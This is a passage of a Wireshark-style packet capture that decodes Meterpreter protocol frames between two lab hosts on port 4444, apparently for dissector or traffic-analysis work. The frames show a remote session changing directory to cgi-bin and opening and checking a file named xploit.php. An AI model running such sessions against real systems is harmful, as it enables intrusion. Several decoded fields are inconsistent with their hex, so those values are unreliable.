0010  00 87 0d 03 40 00 80 06 69 ca c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 b4 d4 2e 7d 22 53 50 18   .*.P.\.x...}"SP.
0030  08 00 d3 e4 00 00 00 00 00 5f 00 00 00 01 00 00   ........._......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  37 38 33 33 35 31 37 31 31 37 32 37 36 33 34 35   7833517117276345
0070  37 30 31 38 30 34 38 33 38 33 39 32 36 31 32 00   701804838392612.
0080  00 00 00 09 00 08 00 0c 01 00 00 00 0c 00 02 00   ................
0090  04 00 00 00 00                                    .....
```

```
     91 2092.141532    192.168.1.42          192.168.1.41          MTRPROT  142    4444 → 50768 [PSH, ACK] Seq=4064 Ack=6109 Win=110
Len=88
Frame 91: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4064, Ack: 6109, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 0000002900010002383736323534393038353433353134 37... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 383736323534393038353433353134373636363833323433... [Value] 87625490854351476668324326606066
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 80 64 3a 40 00 40 06 52 9a c0 a8 01 2a c0 a8   ..d:@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 22 53 a3 78 b5 33 50 18   .).\.P.}"S.x.3P.
0030  00 6e 84 16 00 00 00 00 00 58 00 00 00 00 00 00   .n.......X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 38 37 36 32 35 34 39 30 38 35 34 33 35 31 34   .876254908543514
0070  37 36 36 36 38 33 32 34 33 32 36 36 30 36 30 36   7666832432660606
0080  36 00 00 00 00 0c 00 02 00 32 00 00 00 00         6........2....
```

```
     92 2092.143883    192.168.1.41          192.168.1.42          MTRPROT  142    50768 → 4444 [PSH, ACK] Seq=6109 Ack=4152
Win=2048 Len=88
Frame 92: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 6109, Ack: 4152, Len: 88
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000058 [Command length]: 88
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
    Command: 0x0000001b [Length]: 27
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
    Data: 0000002900010002383736323534393038353433353134373... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 383736323534393038353433353134373636363833323433... [Value] 876254908543514766683243266060066
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 80 0d 04 40 00 80 06 69 d0 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 b5 33 2e 7d 22 ab 50 18   .*.P.\.x.3.}".P.
0030  08 00 85 bf 00 00 00 00 00 58 00 00 00 01 00 00   .........X......
0040  00 1b 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 63 6c 6f 73 65 00 00 00 00 29 00 01 00   el_close....)...
0060  02 38 37 36 32 35 34 39 30 38 35 34 33 35 31 34   .876254908543514
0070  37 36 36 36 38 33 32 34 33 32 36 36 30 36 30 36   7666832432660606
0080  36 00 00 00 00 0c 00 02 00 04 00 00 00 00         6............
```

```
     93 2152.544636    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=4152 Ack=6197 Win=110
Len=86
Frame 93: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4152, Ack: 6197, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343237393239383032343431373131353... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 34323739323938303234343137313135363239323538383833... [Value] 42792980244171156292588300935589
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 3c 40 00 40 06 52 9a c0 a8 01 2a c0 a8   .~d<@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 22 ab a3 78 b5 8b 50 18   .).\.P.}"..x..P.
0030  00 6e 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .n.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  32 37 39 32 39 38 30 32 34 34 31 37 31 31 35 36   2792980244171156
0070  32 39 32 35 38 38 33 30 30 39 33 35 35 38 39 00   292588300935589.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     94 2152.545520    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=6197 Ack=4238
Win=2048 Len=86
Frame 94: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 6197, Ack: 4238, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343237393239383032343431373131353... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 34323739323938303234343137313135363239323538383... [Value] 42792980244171156292588300935589
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d 05 40 00 80 06 69 d1 c0 a8 01 29 c0 a8   .~..@...i....)..
0020  01 2a c6 50 11 5c a3 78 b5 8b 2e 7d 23 01 50 18   .*.P.\.x...}#.P.
0030  08 00 f2 85 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  32 37 39 32 39 38 30 32 34 34 31 37 31 31 35 36   2792980244171156
0070  32 39 32 35 38 38 33 30 30 39 33 35 35 38 39 00   292588300935589.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     95 2207.986158    192.168.1.42          192.168.1.41          MTRPROT  143    4444 → 50768 [PSH, ACK] Seq=4238 Ack=6283 Win=110
Len=89
Frame 95: 143 bytes on wire (1144 bits), 143 bytes captured (1144 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4238, Ack: 6283, Len: 89
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000059 [Command length]: 89
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000180001000173746461706 95f66735f636864697200... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000018000100017374646170695f66735f6368646972 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f636864697200 [Value] stdapi_fs_chdir
Meterpreter protocol, TLV details
    Data: 0000002900010002393932393434313936373730333830 34... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 39393239343431393637373033383034333137363138343 8... [Value] 99294419677038043176184827635899
Meterpreter protocol, TLV details
    Data: 00000010000104b06367692d62696e [TLV]
    Command: 0x00000010 [Length]: 16
    Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
    Data: 6367692d62696e00 [Value] cgi-bin
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 81 64 3e 40 00 40 06 52 95 c0 a8 01 2a c0 a8   ..d>@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 23 01 a3 78 b5 e1 50 18   .).\.P.}#..x..P.
0030  00 6e 84 17 00 00 00 00 00 59 00 00 00 00 00 00   .n.......Y......
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  63 68 64 69 72 00 00 00 00 29 00 01 00 02 39 39   chdir....)....99
0060  32 39 34 34 31 39 36 37 37 30 33 38 30 34 33 31   2944196770380431
0070  37 36 31 38 34 38 32 37 36 33 35 38 39 39 00 00   76184827635899..
0080  00 00 10 00 01 04 b0 63 67 69 2d 62 69 6e 00      .......cgi-bin.
```

```
     96 2207.987385    192.168.1.41          192.168.1.42          MTRPROT  139    50768 → 4444 [PSH, ACK] Seq=6283 Ack=4327
Win=2047 Len=85
Frame 96: 139 bytes on wire (1112 bits), 139 bytes captured (1112 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 6283, Ack: 4327, Len: 85
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000055 [Command length]: 85
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000180001000173746461706695f66735f636864697200... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000018000100017374646170695f66735f6368646972 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f636864697200 [Value] stdapi_fs_chdir
Meterpreter protocol, TLV details
    Data: 00000029000100023939323934343139363737303333383034... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 39393239343431393637373033383034333137363138343838... [Value] 99294419677038043176184827635899
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7d 0d 06 40 00 80 06 69 d1 c0 a8 01 29 c0 a8   .}..@...i....)..
0020  01 2a c6 50 11 5c a3 78 b5 e1 2e 7d 23 5a 50 18   .*.P.\.x...}#ZP.
0030  07 ff f1 1b 00 00 00 00 00 55 00 00 00 01 00 00   .........U......
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  63 68 64 69 72 00 00 00 00 29 00 01 00 02 39 39   chdir....)....99
0060  32 39 34 34 31 39 36 37 37 30 33 38 30 34 33 31   2944196770380431
0070  37 36 31 38 34 38 32 37 36 33 35 38 39 39 00 00   76184827635899..
0080  00 00 0c 00 02 00 04 00 00 00 00                  ...........
```

```
     97 2238.154522    192.168.1.42          192.168.1.41          MTRPROT  138    4444 → 50768 [PSH, ACK] Seq=4327 Ack=6368 Win=110
Len=84
Frame 97: 138 bytes on wire (1104 bits), 138 bytes captured (1104 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4327, Ack: 6368, Len: 84
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000054 [Command length]: 84
    Type: 0x00000000 [Command type: Request]: 0
    Data: 000000180001000173746461706695f66735f636864697200... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000018000100017374646170695f66735f6368646972 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f636864697200 [Value] stdapi_fs_chdir
Meterpreter protocol, TLV details
    Data: 00000029000100023933363835393433323639303039343 7... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 39333638353934333236393030393437373238303232333 6... [Value] 93685943269009477280223632647911
Meterpreter protocol, TLV details
    Data: 0000000b000104b02e2e [TLV]
    Command: 0x0000000b [Length]: 11
    Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
    Data: 2e2e00 [Value] ..
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7c 64 40 40 00 40 06 52 98 c0 a8 01 2a c0 a8   .|d@@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 23 5a a3 78 b6 36 50 18   .).\.P.}#Z.x.6P.
0030  00 6e 84 12 00 00 00 00 00 54 00 00 00 00 00 00   .n.......T......
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  63 68 64 69 72 00 00 00 00 29 00 01 00 02 39 33   chdir....)....93
0060  36 38 35 39 34 33 32 36 39 30 30 39 34 37 37 32   6859432690094772
0070  38 30 32 32 33 36 33 32 36 34 37 39 31 31 00 00   80223632647911..
0080  00 00 0b 00 01 04 b0 2e 2e 00                     ..........
```

```
     98 2238.155434    192.168.1.41          192.168.1.42          MTRPROT  139    50768 → 4444 [PSH, ACK] Seq=6368 Ack=4411 
Win=2047 Len=85
Frame 98: 139 bytes on wire (1112 bits), 139 bytes captured (1112 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 6368, Ack: 4411, Len: 85
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000055 [Command length]: 85
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000180001000173746461706 95f66735f636864697200... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001800010001737464617069 5f66735f6368646972 [TLV]
    Command: 0x00000018 [Length]: 24
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f636864697200 [Value] stdapi_fs_chdir
Meterpreter protocol, TLV details
    Data: 0000002900010002393336383539343332363930303934 37... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 393336383539343332363930303934373732383032323336... [Value] 93685943269009477280223632647911
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 00 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7d 0d 07 40 00 80 06 69 d0 c0 a8 01 29 c0 a8   .}..@...i....)..
0020  01 2a c6 50 11 5c a3 78 b6 36 2e 7d 23 ae 50 18   .*.P.\.x.6.}#.P.
0030  07 ff e9 8f 00 00 00 00 00 55 00 00 00 01 00 00   .........U......
0040  00 18 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  63 68 64 69 72 00 00 00 00 29 00 01 00 02 39 33   chdir....)....93
0060  36 38 35 39 34 33 32 36 39 30 30 39 34 37 37 32   6859432690094772
0070  38 30 32 32 33 36 33 32 36 34 37 39 31 31 00 00   80223632647911..
0080  00 00 0c 00 02 00 04 00 00 00 00                  ...........
```

```
     99 2279.687311    192.168.1.42          192.168.1.41          MTRPROT  207    4444 → 50768 [PSH, ACK] Seq=4411 Ack=6453 Win=110
Len=153
Frame 99: 207 bytes on wire (1656 bits), 207 bytes captured (1656 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4411, Ack: 6453, Len: 153
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000099 [Command length]: 153
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
    Data: 00000029000100023239343239393731303135373534383837... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 32393432393937313031353735343837393839383530313131... [Value] 29429971015754879898501147052246
Meterpreter protocol, TLV details
    Data: 000000170001003373746461706695f66735f66696c65 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010033 [Type: Request]: TLV_TYPE_CHANNEL_TYPE
    Data: 7374646170695f66735f66696c6500 [Value] stdapi_fs_file
Meterpreter protocol, TLV details
    Data: 0000000c00020036000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020036 [Type: Request]: TLV_TYPE_CHANNEL_CLASS
    Data: 00000003 [Value] 3
Meterpreter protocol, TLV details
    Data: 0000000c0002001b000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x0002001b [Type: Request]: TLV_TYPE_FLAGS
    Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
    Data: 00000013000104b278706c6f69742e706870 [TLV]
    Command: 0x00000013 [Length]: 19
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 78706c6f69742e70687000 [Value] xploit.php
Meterpreter protocol, TLV details
    Data: 0000000c000104b3726262 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000104b3 [Type: Request]: TLV_TYPE_FILE_MODE
    Data: 72626200 [Value] 1919050240
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 c1 64 42 40 00 40 06 52 51 c0 a8 01 2a c0 a8   ..dB@.@.RQ...*..
0020  01 29 11 5c c6 50 2e 7d 23 ae a3 78 b6 8b 50 18   .).\.P.}#..x..P.
0030  00 6e 84 57 00 00 00 00 00 99 00 00 00 00 00 00   .n.W............
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 6f 70 65 6e 00 00 00 00 29 00 01 00 02   el_open....)....
0060  32 39 34 32 39 39 37 31 30 31 35 37 35 34 38 37   2942997101575487
0070  39 38 39 38 35 30 31 31 34 37 30 35 32 32 34 36   9898501147052246
0080  00 00 00 00 17 00 01 00 33 73 74 64 61 70 69 5f   ........3stdapi_
0090  66 73 5f 66 69 6c 65 00 00 00 00 0c 00 02 00 36   fs_file........6
00a0  00 00 00 03 00 00 00 0c 00 02 00 1b 00 00 00 01   ................
00b0  00 00 00 13 00 01 04 b2 78 70 6c 6f 69 74 2e 70   ........xploit.p
00c0  68 70 00 00 00 00 0c 00 01 04 b3 72 62 62 00      hp.........rbb.
```

```
    100 2279.688513    192.168.1.41          192.168.1.42          MTRPROT  153    50768 → 4444 [PSH, ACK] Seq=6453 Ack=4564
Win=2053 Len=99
Frame 100: 153 bytes on wire (1224 bits), 153 bytes captured (1224 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 6453, Ack: 4564, Len: 99
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000063 [Command length]: 99
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f6f7065... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f6f70656e00 [Value] core_channel_open
Meterpreter protocol, TLV details
    Data: 0000002900010002323934323939373130313537353438373... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 32393432393937313031353735343837393839383530313131... [Value] 29429971015754879898501147052246
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Response]: TLV_TYPE_CHANNEL_ID
    Data: 00000001 [Value] ERROR
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 8b 0d 08 40 00 80 06 69 c1 c0 a8 01 29 c0 a8   ....@...i....)..
0020  01 2a c6 50 11 5c a3 78 b6 8b 2e 7d 24 47 50 18   .*.P.\.x...}$GP.
0030  08 05 4f 05 00 00 00 00 00 63 00 00 00 01 00 00   ..O......c......
0040  00 1a 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 6f 70 65 6e 00 00 00 00 29 00 01 00 02   el_open....)....
0060  32 39 34 32 39 39 37 31 30 31 35 37 35 34 38 37   2942997101575487
0070  39 38 39 38 35 30 31 31 34 37 30 35 32 32 34 36   9898501147052246
0080  00 00 00 00 0c 00 02 00 32 00 00 00 01 00 00 00   ........2.......
0090  0c 00 02 00 04 00 00 00 00                        .........
```

```
    101 2279.788652    192.168.1.42          192.168.1.41          MTRPROT  145    4444 → 50768 [PSH, ACK] Seq=4564 Ack=6552 Win=110
Len=91
Frame 101: 145 bytes on wire (1160 bits), 145 bytes captured (1160 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 4564, Ack: 6552, Len: 91
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005b [Command length]: 91
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000017000100017374646170695f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000017000100017374646170695f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 00000029000100023635323734353335333432353331313131... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 36353237343533353334323533313131343430363436363632... [Value] 6527453534253111440646622561O314
Meterpreter protocol, TLV details
    Data: 00000013000104b278706c6f69742e706870 [TLV]
    Command: 0x00000013 [Length]: 19
    Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
    Data: 78706c6f69742e70687000 [Value] xploit.php
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 83 64 44 40 00 40 06 52 8d c0 a8 01 2a c0 a8   ..dD@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 24 47 a3 78 b6 ee 50 18   .).\.P.}$G.x..P.
0030  00 6e 84 19 00 00 00 00 00 5b 00 00 00 00 00 00   .n.......[......
0040  00 17 00 01 00 01 73 74 64 61 70 69 5f 66 73 5f   ......stdapi_fs_
0050  73 74 61 74 00 00 00 00 29 00 01 00 02 36 35 32   stat....)....652
0060  37 34 35 33 35 33 34 32 35 33 31 31 31 34 34 30   7453534253111440
0070  36 34 36 36 32 32 35 36 31 30 33 31 34 00 00 00   6466225610314...
0080  00 13 00 01 04 b2 78 70 6c 6f 69 74 2e 70 68 70   ......xploit.php
0090  00                                                .
```

```
    102 2279.789536    192.168.1.41          192.168.1.42          MTRPROT  190    50768 → 4444 [PSH, ACK] Seq=6552 Ack=4655
Win=2052 Len=136
Frame 102: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 6552, Ack: 4655, Len: 136
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000088 [Command length]: 136
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000170001000173746461706f5f66735f737461740000... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001700010001737464617069 5f66735f73746174 [TLV]
    Command: 0x00000017 [Length]: 23
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f66735f7374617400 [Value] stdapi_fs_stat
Meterpreter protocol, TLV details
    Data: 00000029000100023635323734353335333432353331313131... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
